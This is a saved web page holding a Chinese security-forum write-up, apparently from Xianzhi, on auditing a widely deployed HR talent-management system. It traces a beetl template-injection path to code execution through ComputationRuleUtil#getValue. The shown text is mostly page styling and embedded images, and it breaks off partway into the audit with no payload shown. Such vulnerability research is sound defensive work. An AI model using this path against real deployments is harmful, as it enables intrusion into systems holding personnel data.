fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="navbar navbar-default">
|
||||
<div class=navbar-inner>
|
||||
<div class=container style=text-align:center;position:relative>
|
||||
<!--[if lte IE 8]>
|
||||
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
||||
<![endif]-->
|
||||
<div class=brand-box>
|
||||
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
||||
</div>
|
||||
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14069&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
||||
登录</a>
|
||||
|
||||
<div class="nav-collapse collapse">
|
||||
<div class="search d1 text-right">
|
||||
<form action=/search>
|
||||
<input type=text placeholder=搜索 name=keyword value>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id=Wrapper class=container>
|
||||
|
||||
|
||||
<div class=row2>
|
||||
<div class=span10>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="row box content" width="1200px !important" style=width:1200px>
|
||||
|
||||
<div class=box-container>
|
||||
<div class=main-topic>
|
||||
<div class="clearfix user-info topic-list">
|
||||
<p><span class=content-title>某HR系统组合漏洞挖掘过程</span>
|
||||
</p>
|
||||
<div class=topic-info>
|
||||
<span class=info-left>
|
||||
<a href=https://xz.aliyun.com/u/55673>
|
||||
<span class="username cell"> Ha1ey</span></a> <span class=i-seprator> / </span>
|
||||
<span> 2024-03-11 10:01:19</span><span class=i-seprator> / </span>
|
||||
|
||||
<span>发表于北京 / </span>
|
||||
|
||||
<span>浏览数 908</span>
|
||||
|
||||
|
||||
<span class=content-node>
|
||||
|
||||
<span class="label label-default label-node-first">
|
||||
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
|
||||
<span class="label label-default">
|
||||
<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
||||
顶(0)</a>
|
||||
<a class="vote vote-down" href=javascript:void(0)>
|
||||
踩(0)</a></span>
|
||||
</div>
|
||||
</div>
|
||||
<hr>
|
||||
<div id=topic_content class="topic-content markdown-body">
|
||||
<p>Ha1ey@深蓝攻防实验室</p>
|
||||
<h2 id=toc-0>前言</h2>
|
||||
<p>某天在项目中遇到一个奇怪的人才管理系统,fofa跑了一下发现用的还挺多,所以就有了后面的审计过程。在互联网翻到一份过期的源码,本地搭建起来开始审计。</p>
|
||||
<h2 id=toc-1>审计过程</h2>
|
||||
<p>先看一下常见的RCE漏洞,发现这套系统大量的代码调用了<code>beetl</code>这个库,这个库是国内一个大佬开发的模板引擎,类似freemarker。</p>
|
||||
<p>找到这套模板引擎漏洞触发点在<code>GroupTemplate#getTemplate</code>,全局搜了一下调用点发现在<code>ComputationRuleUtil#getValue</code>这个方法中有一处调用并且没有写死模版内容,其他多处都写死了模板内容。</p>
|
||||
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095802-cb35f544-df4a-1.png title><img src=data:image/png;base64,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 truncated
|
||||
<p>可以看到该方法中拼接了<code>s2</code>,s2最终是来自于<code>String src</code>这个参数,期间被<code>rule</code>方法做了处理,观察<code>rule</code>方法可以发现,当我们传入的第一个字符串参数不包含<code>@sum</code>和<code>@avg</code>就会直接返回我们传入的参数</p>
|
||||
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095813-d1f9ceb4-df4a-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>下面全局搜索哪里调用了<code>ComputationRuleUtil#getValue</code>这个方法。</p>
|
||||
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095825-d8e24bfc-df4a-1.png title><img src=data:image/png;base64,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